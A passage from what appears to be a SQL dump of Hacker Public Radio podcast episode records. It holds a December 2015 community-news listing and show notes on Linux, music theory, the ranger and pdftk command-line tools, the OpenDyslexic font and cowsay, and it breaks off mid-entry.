07:42:09 -0800<br/>\n        <em>Subject:</em> Moving the site to New Server/IP today<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1037\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1037</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Joshua Knapp &lt;jknapp85@...&gt;<br/>\n        <em>Date:</em> 2015-12-18 10:59:21 -0800<br/>\n        <em>Subject:</em> HPR Site move completed<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1038\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1038</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-12-22 18:25:17 +0100<br/>\n        <em>Subject:</em> How to check if the intro and outro are added<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1039\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1039</a><br/>\n        <em>Messages:</em> 6<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-12-23 20:26:05 -0600<br/>\n        <em>Subject:</em> New Year&#39;s Show update<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1041\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1041</a><br/>\n        <em>Messages:</em> 5<br/><br/></li>\n    <li><em>From:</em> honkey Magoo &lt;honkeymagoo01@...&gt;<br/>\n        <em>Date:</em> 2015-12-24 21:02:23 -0500<br/>\n        <em>Subject:</em> Re: New Year&#39;s Show update<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1046\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1046</a><br/>\n        <em>Messages:</em> 19<br/><br/></li>\n    <li><em>From:</em> &quot;Thaj A. Sara&quot; &lt;thajasara@...&gt;<br/>\n        <em>Date:</em> 2015-12-25 10:35:15 -0500<br/>\n        <em>Subject:</em> Re: Hpr Digest, Vol 87, Issue 15<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1051\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1051</a><br/>\n        <em>Messages:</em> 4<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-12-28 16:43:50 +0100<br/>\n        <em>Subject:</em> Changes to the upload process<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1063\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1063</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-12-29 11:33:28 +0100<br/>\n        <em>Subject:</em> There may be issues with the FTP server<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1067\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1067</a><br/>\n        <em>Messages:</em> 22<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-12-29 20:13:18 UTC<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2016-01-02T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1082\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1082</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-12-30 09:09:29 +0100<br/>\n        <em>Subject:</em> Requested Topic: IRC Etiquette<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1086\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1086</a><br/>\n        <em>Messages:</em> 2<br/></li>\n</ol>\nTotal messages this month: 84<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 26 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1649#comments\" target=\"_blank\">hpr1649</a></strong>\n(2014-11-27) \"<em>Raspberry Pi Accessibility Breakthrough</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a>.\n<ul>        <li><a href=\"https://hackerpublicradio.org/eps.php?id=1649#7\" target=\"_blank\">Comment 7</a>:\nMike Ray on 2015-12-01:\n\"Quiet boot\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1870#comments\" target=\"_blank\">hpr1870</a></strong>\n(2015-10-02) \"<em>19 - Home SSH Server</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1870#2\" target=\"_blank\">Comment 2</a>:\n0xf10e on 2015-12-10:\n\"yepp, no cleartext\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1878#comments\" target=\"_blank\">hpr1878</a></strong>\n(2015-10-14) \"<em>What\'s In My Bag</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1878#1\" target=\"_blank\">Comment 1</a>:\nErik on 2015-12-28:\n\"Commands\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1894#comments\" target=\"_blank\">hpr1894</a></strong>\n(2015-11-05) \"<em>Interview with Davide Zilli and Dr Marianne Sinka of the HumBug Project</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1894#3\" target=\"_blank\">Comment 3</a>:\nClinton Roy on 2015-12-10:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1898#comments\" target=\"_blank\">hpr1898</a></strong>\n(2015-11-11) \"<em>Free my music!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1898#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2015-12-20:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1906#comments\" target=\"_blank\">hpr1906</a></strong>\n(2015-11-23) \"<em>Apt Spelunking 2: tvtime, phatch, and xstarfish</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1906#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2015-12-01:\n\"Re: Phatch\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1906#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2015-12-02:\n\"Re: Phatch\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1907#comments\" target=\"_blank\">hpr1907</a></strong>\n(2015-11-24) \"<em>Charlie Reisinger and Penn Manor</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1907#2\" target=\"_blank\">Comment 2</a>:\nCharles in NJ  on 2015-12-23:\n\"Penn Manor\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1909#comments\" target=\"_blank\">hpr1909</a></strong>\n(2015-11-26) \"<em>Creating an Open, Embedded-Media Music Textbook</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>     <li><a href=\"https://hackerpublicradio.org/eps.php?id=1909#4\" target=\"_blank\">Comment 4</a>:\nFrank on 2015-12-01:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1910#comments\" target=\"_blank\">hpr1910</a></strong>\n(2015-11-27) \"<em>QMMP--The Qt-based MultiMedia Player</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>     <li><a href=\"https://hackerpublicradio.org/eps.php?id=1910#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2015-12-02:\n\"Nostalgia\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1910#5\" target=\"_blank\">Comment 5</a>:\nFrank on 2015-12-02:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1914#comments\" target=\"_blank\">hpr1914</a></strong>\n(2015-12-03) \"<em>Waking up</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1914#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2015-12-04:\n\"One-upped\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1916#comments\" target=\"_blank\">hpr1916</a></strong>\n(2015-12-07) \"<em>HPR Community News for November 2015</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1916#1\" target=\"_blank\">Comment 1</a>:\nCharles in NJ  on 2015-12-21:\n\"Experts Exchange\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1917#comments\" target=\"_blank\">hpr1917</a></strong>\n(2015-12-08) \"<em>OpenSource.com</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1917#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-12-08:\n\"A possible outlet\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1918#comments\" target=\"_blank\">hpr1918</a></strong>\n(2015-12-09) \"<em>DerbyCon Interview with Dave Kennedy</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1918#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2015-12-25:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1924#comments\" target=\"_blank\">hpr1924</a></strong>\n(2015-12-17) \"<em>Port Forwarding</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1924#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2015-12-16:\n\"Great show!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1928#comments\" target=\"_blank\">hpr1928</a></strong>\n(2015-12-23) \"<em>Cov&apos;s Jams</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=322\" target=\"_blank\">Cov</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1928#1\" target=\"_blank\">Comment 1</a>:\nA Shadowy Figure on 2015-12-24:\n\"Nice mix Cov\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1928#2\" target=\"_blank\">Comment 2</a>:\ntcuc on 2015-12-31:\n\"nice, i cant &aring; wait for more.\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1928#3\" target=\"_blank\">Comment 3</a>:\nDavid L. Willson on 2015-12-31:\n\"Yes\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1929#comments\" target=\"_blank\">hpr1929</a></strong>\n(2015-12-24) \"<em>I Found a Flashlight</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1929#1\" target=\"_blank\">Comment 1</a>:\nA Shadowy Figure on 2015-12-24:\n\"Thank you for this timely episode\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1930#comments\" target=\"_blank\">hpr1930</a></strong>\n(2015-12-25) \"<em>A systemd primer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1930#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2015-12-29:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1931#comments\" target=\"_blank\">hpr1931</a></strong>\n(2015-12-28) \"<em>Atomic force microscopy</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=301\" target=\"_blank\">Amunizp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1931#1\" target=\"_blank\">Comment 1</a>:\nMysterio2 on 2015-12-27:\n\"Great show.\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1931#2\" target=\"_blank\">Comment 2</a>:\nA Shadowy Figure on 2015-12-28:\n\"Good job\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1932#comments\" target=\"_blank\">hpr1932</a></strong>\n(2015-12-29) \"<em>Klaatu interviews Grafana</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1932#1\" target=\"_blank\">Comment 1</a>:\nA Shadowy Figure on 2015-12-30:\n\"Good interview\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1933#comments\" target=\"_blank\">hpr1933</a></strong>\n(2015-12-30) \"<em>HPR AudioBookClub 11 Street Candles</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1933#1\" target=\"_blank\">Comment 1</a>:\nlostnbronx on 2015-12-10:\n\"Wow, Thanks So Much!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1934#comments\" target=\"_blank\">hpr1934</a></strong>\n(2015-12-31) \"<em>Experiencing the Meegopad T-02  Part two</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1934#1\" target=\"_blank\">Comment 1</a>:\nA Shadowy Figure on 2015-12-15:\n\"Updated Show Notes\"</li> </ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1751,'2015-04-20','How I got into Linux',1114,'How I got into linux, LFS and where I use Linux now.','<p>\r\nMy third show, its my How I got into Linux show, Crunchbang for the win, thank you Corenominal. \r\n</p>\r\n<p>\r\nI actually wrote some of this up before I recorded my first show. I wasn\'t happy that I did a good enough job originally. However I decided to make use of a rainy day and get it updated and recorded.  I cut out a chunk of rambling about floppy drive cleaners, and stuck some more up to date info on the end.\r\n</p>',240,29,0,'CC-BY-SA','Crunchbang',0,0,1),
(1752,'2015-04-21','Penguicon 2015 Promo',1838,'Penguicon 2015 happens on April 24-26, 2015 in Southfield, Michigan','<p>\r\nPenguicon 2015 is a combined technology and sicence fiction convention in Southfield, Michigan, a suburb of Detroit, and will present over 350 hours of programming over the entire weekend. Of this, around 100 hours are open source, tech-related. In this episode I try to cover the coming attractions of the weekend and maybe entice some people to come join us. It will be a great weekend.\r\n</p>\r\n\r\n<h3>Links:</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://2015.penguicon.org/\">https://2015.penguicon.org/</a>\r\n</li>\r\n</ul>',198,96,0,'CC-BY-SA','Penguicon,Open Source,Science Fiction,Convention',0,0,1),
(1753,'2015-04-22','Introducing a 5 year old to Sugar on Toast',901,'This is a podcast in Spanglish (some spanish, some english) with a 5 year old and a 1 year old.','<p>\r\nThis was me introducing my 5 year old to her new laptop with Sugar on Toast. \r\n</p>\r\n<p>\r\nA family member had no use for an old 7 year old netbook so I installed the trisquel version of Sugar, the one laptop per child operating system.\r\n</p>\r\n<p>\r\nThis is a response to this episode: <a href=\"https://hackerpublicradio.org/eps.php?id=1726\">https://hackerpublicradio.org/eps.php?id=1726</a> I find it ticks all the boxes. \r\n</p>\r\n<p>\r\nRecorded with a phone and spoken mainly in a different language. I did conversion to FLAC from a mono mp3 probably the same if I just uploaded the MP3 directly. No editing was done. \r\n</p>',301,0,0,'CC-BY-SA','5 year old',0,0,1),
(1754,'2015-04-23','D7? Why Seven?',832,'I explain what 7th chords are and when to use them.','<p>In this episode I respond to one of the community-requested topics (\"Music Theory\") and try to explain what <strong>seventh chords</strong> are and why they are used. Below are some of the terms that I use in the course of the discussion.</p> \r\n\r\n<ul>\r\n<li><strong>Interval</strong>: The distance between two pitches (sounded either consecutively or simultaneously)</li>\r\n<li><strong>Consonance</strong>: Relatively stable sound between two or more pitches</li>\r\n<li><strong>Dissonance</strong>: Relatively unstable sound between two or more pitches. Dissonance often needs a &quot;resolution&quot; to consonance</li>\r\n<li><strong>Chord</strong>: three or more notes sounded together </li>\r\n<li><strong>Chord progression</strong>: a succession of chords </li>\r\n<li><strong>Triad</strong>: a chord with 3 pitches, the adjacent pitches separated by the interval of the 3rd.</li>\r\n<li><strong>Seventh chord</strong>: a chord with 4 pitches, the adjacent pitches separated by the interval of the 3rd.</li>\r\n<li><strong>Tonality</strong>: harmonic system that governs the use of major and minor keys</li>\r\n<li><strong>Tonic</strong>: the central tone of a piece of music</li>\r\n<li><strong>Mode</strong>: major or minor [e.g. Symphony no. 5 in C minor]</li>\r\n<li><strong>Modulation</strong>: the process of changing keys within a piece of music </li>\r\n<li><strong>Scale</strong>: Ascending or descending series of notes that define a key or tonality, with a specific arrangements of half-steps and whole-steps. Major and Minor scales are most common in Western music</li>\r\n</ul>\r\n\r\n\r\n<p>Free public-domain music reference book: <em>Music Notation and Terminology</em> by Karl Wilson Gehrkens: <a href=\"https://www.gutenberg.org/ebooks/19499\">https://www.gutenberg.org/ebooks/19499</a> (see ch. 18)</p>\r\n\r\n<p>Free Online Music Dictionary: <a href=\"https://dictionary.onmusic.org\">https://dictionary.onmusic.org</a>/</p>',238,0,0,'CC-BY-SA','chords, music theory, music, harmony',0,0,1),
(1756,'2015-04-27','Ranger File Manager',1340,'Introduction to the ranger command line file manager','<p>From Man Page:</p>\n <blockquote>\n  <p>DESCRIPTION<br /> ranger is a console file manager with VI key bindings. It provides a minimalistic and nice curses interface with a view on the directory hierarchy. The secondary task of ranger is to figure out which program you want to use to open your files with.</p>\n  <p>This manual mainly contains information on the usage of ranger. Refer to the README for install instructions and to doc/HACKING for development specific information. For configuration, see the files in ranger/config. They are usually installed to /etc/ranger/config and can be obtained with ranger\'s --copy-config option.</p>\n  <p>Inside ranger, you can press 1? for a list of key bindings, 2? for a list of commands and 3? for a list of settings.</p>\n </blockquote>\n <ul>\n  <li>Project page: <a href=\"https://ranger.nongnu.org/\">https://ranger.nongnu.org/</a>. Has pretty good documentation</li>\n  <li>Available on Debian, Arch, Probably others, git and mailing list available as well.</li>\n </ul>\n <p><img alt=\"screenshot\" src=\"https://ranger.nongnu.org/screenshots/screenshot0.png\" /></p>\n <h2 id=\"features\">Features</h2>\n <ul>\n  <li>3-pane view: <ul>\n    <li>Previous -&gt; current -&gt; next</li>\n    <li>When current is a file, uses file magic and other programs to preview the file</li>\n    <li>optional dependencies for previews: <ul>\n      <li>img2txt from caca-utils for ASCII-art</li>\n      <li>highlight for syntax highlights</li>\n      <li>atool for archives</li>\n      <li>lynx/w3m/elinks for html</li>\n      <li>pdftotext for pdfs</li>\n      <li>transmission-show for bittorrent information</li>\n      <li>mediainfo or exiftool for mediafile info</li>\n     </ul>\n    </li>\n    <li>Color coded, with three themes to choose from</li>\n    <li>One more over to the right opens the file from other programs</li>\n   </ul>\n  </li>\n </ul>\n <h2 id=\"configuration\">Configuration</h2>\n <ul>\n  <li>located in ~/.config/ranger directory</li>\n  <li>rc.conf = keybindings and settings</li>\n  <li>commands.py = command-mode items</li>\n  <li>rifle.conf = file launcher options, which let you make custom file opener commands</li>\n  <li>scope.sh = custom file preview scripts, like mdview</li>\n </ul>\n <h2 id=\"navigation\">Navigation</h2>\n <ul>\n  <li>up, down, left, right, or h,j,k,l</li>\n  <li>gg top G Bottom</li>\n  <li>E edit</li>\n  <li>pageup/down</li>\n </ul>\n <h2 id=\"command-commands\">Command commands</h2>\n <ul>\n  <li>spacebar to mark or :mark for pattern</li>\n  <li>dd, yy, pp</li>\n  <li>:touch, :mkdir, :grep</li>\n  <li>del</li>\n  <li>rename and bulkrename (change from ranger.container.file import File to <em>.fsobject.</em>)</li>\n  <li>zh - toggle hidden</li>\n  <li>gn - new tab, gt or gT to navigate tabs</li>\n  <li>/ search vile</li>\n  <li>V visual mode</li>\n  <li>:open_with</li>\n  <li>1? = list key bindings</li>\n  <li>2? list commands</li>\n  <li>3? list settings</li>\n  <li>? main help</li>\n </ul>',300,0,0,'CC-BY-SA','ranger,file manager,console',0,0,1),
(1760,'2015-05-01','pdftk: the PDF Toolkit',1254,'Intro to the command-line pdf toolkit','<h2>Hacking Apart and Re-Assembling PDFs</h2>\r\n\r\n<p>Extract pages 3&ndash;5 from file <code>foobar.pdf</code>:</p>\r\n\r\n<pre>\r\npdftk foobar.pdf cat 3-5 output excerpt.pdf\r\n</pre>\r\n\r\n<p>Same thing but also grab the cover page:</p>\r\n\r\n<pre>\r\npdftk foobar.pdf cat 1 3-5 output excerpt.pdf\r\n</pre>\r\n\r\n<p>Combine multiple PDFs:</p>\r\n\r\n<pre>\r\npdftk file1.pdf file2.pdf file3.pdf cat output combined.pdf\r\n</pre>\r\n\r\n<p>Reassemble a 50-page document with all of the pages in reverse order (I once actually did this for my wife and she was very grateful&mdash;she had scanned an article at the library and it ended up with all of the pages in the wrong order from last to first. This command solved her problem in about one second.):</p>\r\n\r\n<pre>\r\npdftk wrongorder.pdf cat 50-1 output rightorder.pdf\r\n</pre>\r\n\r\n<p>Check the pdftk man page for all kinds of other manipulations you can do, including \"bursting\" a PDF into its component pages, rotating pages in any direction, applying password protection, etc. </p>\r\n\r\n<h2>Embedding “Bookmarks” as a Table of Contents</h2>\r\n\r\n<p>You can also use <code>pdftk</code> to embed a table of contents in a flat PDF file. This is incredibly useful, as it can make large, unwieldy files very easy to navigate. All you have to do is add some bookmark data in a fairly straightforward format as shown below.  As a starting point you should that dump the current metadata content of the file with this command:</p>\r\n\r\n<pre>\r\npdftk foobar.pdf dump_data_utf8\r\n</pre>\r\n\r\n<p>Save the contents of this data dump in a text file and then add bookmark information just below the <code>NumberOfPages</code> value. Here is an excerpt from the huge anthology of public-domain scores I assembled for my music history class:</p>\r\n\r\n<pre>\r\nInfoBegin\r\nInfoKey: ModDate\r\nInfoValue: D:20150106100000-06\'00\'\r\nInfoBegin\r\nInfoKey: CreationDate\r\nInfoValue: D:20150106100000-06\'00\'\r\nInfoBegin\r\nInfoKey: Creator\r\nInfoValue: pdftk 2.02 - www.pdftk.com\r\nInfoBegin\r\nInfoKey: Producer\r\nInfoValue: itext-paulo-155 (itextpdf.sf.net-lowagie.com)\r\nPdfID0: ece858bf9affbcad3b575cf3891a187f\r\nPdfID1: 23f89459e103dd43c6e7bc92028245c0\r\nNumberOfPages: 765\r\nBookmarkBegin\r\nBookmarkTitle: Beethoven: Symphony no. 5 in C minor Op. 67\r\nBookmarkLevel: 1\r\nBookmarkPageNumber: 205\r\nBookmarkBegin\r\nBookmarkTitle: Beethoven 5: I. Allegro con brio\r\nBookmarkLevel: 2\r\nBookmarkPageNumber: 205\r\nBookmarkBegin\r\nBookmarkTitle: Beethoven 5: II. Andante con moto\r\nBookmarkLevel: 2\r\nBookmarkPageNumber: 235\r\nBookmarkBegin\r\nBookmarkTitle: Beethoven 5: III. Allegro\r\nBookmarkLevel: 2\r\nBookmarkPageNumber: 256\r\nBookmarkBegin\r\nBookmarkTitle: Beethoven 5: IV. Allegro\r\nBookmarkLevel: 2\r\nBookmarkPageNumber: 275\r\n</pre>\r\n\r\n<p>And here is the command to update the PDF with the table of contents embedded. This tells it to take the input file  <code>foobar.pdf</code> and update its metadata using the file <code>foobar.info</code> (with utf8 encoding) and output the results as <code>foobar_with_toc.pdf</code>.</p>\r\n\r\n<pre>\r\npdftk foobar.pdf update_info_utf8 foobar.info output foobar_with_toc.pdf\r\n</pre>\r\n\r\n<h2>Links</h2>\r\n\r\n\r\n<ul>\r\n<li><code>pdftk</code> man page: <a href=\"https://www.pdflabs.com/docs/pdftk-man-page/\">https://www.pdflabs.com/docs/pdftk-man-page/</a></li>\r\n<li>PDF Labs: <a href=\"https://www.pdflabs.com/docs/\">https://www.pdflabs.com/docs/</a></li>\r\n</ul>\r\n\r\n<h2>Update</h2>\r\n<p>I made a screencast as a follow-up, showing the process of embedding bookmarks to make a table of contents:\r\n<a href=\"https://m.youtube.com/watch?v=5dv_02v0zzc\">https://m.youtube.com/watch?v=5dv_02v0zzc</a></p>\r\n',238,0,0,'CC-BY-SA','pdftk,pdf',0,0,1),
(1770,'2015-05-15','The OpenDyslexic Font',1087,'Introduction to the OpenDyslexic font','<p>In this episode I talk about how you can take advantage of the OpenDyslexic font as a user, and also how as a content provider you can use it to help your readers. Incidentally, we also talked about this for a while during <a href=\"https://hackerpublicradio.org/eps.php?id=1418\">episode 1418</a>, one of the 2013 New-Year shows. </p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n <li>OpenDyslexic\'s Website: <a href=\"https://opendyslexic.org/\">https://opendyslexic.org/</a></li>\r\n <li>Debian, Ubuntu package name: <code>fonts-opendyslexic</code></li>\r\n <li>Fedora package name: <code>opendyslexic-fonts</code></li>\r\n <li>Arch package name: <code>open-dyslexic-fonts</code></li>\r\n <li><a href=\"https://chrome.google.com/webstore/detail/opendyslexic/cdnapgfjopgaggbmfgbiinmmbdcglnam?hl=en\">Chrome Browser Extension</a></li>\r\n <li><a href=\"https://addons.mozilla.org/en-us/firefox/addon/opendyslexic/\">Firefox Browser Add-on</a></li>\r\n <li>CSS3 Web Fonts Documentation: <a href=\"https://www.w3schools.com/css/css3_fonts.asp\">https://www.w3schools.com/css/css3_fonts.asp</a></li>\r\n <li>Download dyslexic-friendly version of counterpoint books: <a href=\"https://jonathankulp.org/gratis.html\">https://jonathankulp.org/gratis.html</a></li>\r\n</ul>',238,79,0,'CC-BY-SA','Accessibility, Fonts, Typesetting, Web design, Dyslexia',0,0,1),
(1779,'2015-05-28','Cowsay and Figlet',944,'Cowsay and Figlet: Two fun ASCII text commands','<h2>Basic commands</h2>\r\n\r\n\r\n<h3>Make default cow speak:</h3>\r\n	<blockquote>\r\n		<code>cowsay &quot;Hacker Public Radio&quot;</code> \r\n	</blockquote>\r\n\r\n<p>Result:</p>\r\n\r\n<pre>\r\n _____________________\r\n&lt; Hacker Public Radio &gt;\r\n ---------------------\r\n        \\   ^__^\r\n         \\  (oo)\\_______\r\n            (__)\\       )\\/\\\r\n                ||----w |\r\n                ||     ||\r\n</pre>\r\n\r\n<h2>Modes</h2>\r\n\r\n<ul style=\"list-style: none;\">\r\n<li>-b Borg mode; </li>\r\n<li>-d dead;</li>\r\n<li>-g greedy mode; </li>\r\n<li>-p causes a state of paranoia to come over the cow; </li>\r\n<li>-s makes the cow appear thoroughly stoned; </li>\r\n<li>-t yields a tired cow; </li>\r\n<li>-w is somewhat the  opposite  of -t,  and  initiates wired mode; </li>\r\n<li>-y brings on the cow\'s youthful appearance.</li>\r\n</ul>\r\n\r\n<h3>Use \"tired\" cow mode:</h3>\r\n\r\n<blockquote>\r\n<code>cowsay -t &quot;Ken is tired of begging for shows&quot;</code>\r\n</blockquote>\r\n\r\n<p>Result:</p>\r\n\r\n<pre>\r\n ___________________________________\r\n&lt; Ken is tired of begging for shows &gt;\r\n -----------------------------------\r\n        \\   ^__^\r\n         \\  (--)\\_______\r\n            (__)\\       )\\/\\\r\n                ||----w |\r\n                ||     ||\r\n</pre>\r\n\r\n<h3>Specify different images with <code>-f</code></h3>\r\n\r\n<p>Threaten someone with a dragon:</p>\r\n\r\n<blockquote>\r\n<code>cowsay -f dragon \'record and upload a show OR 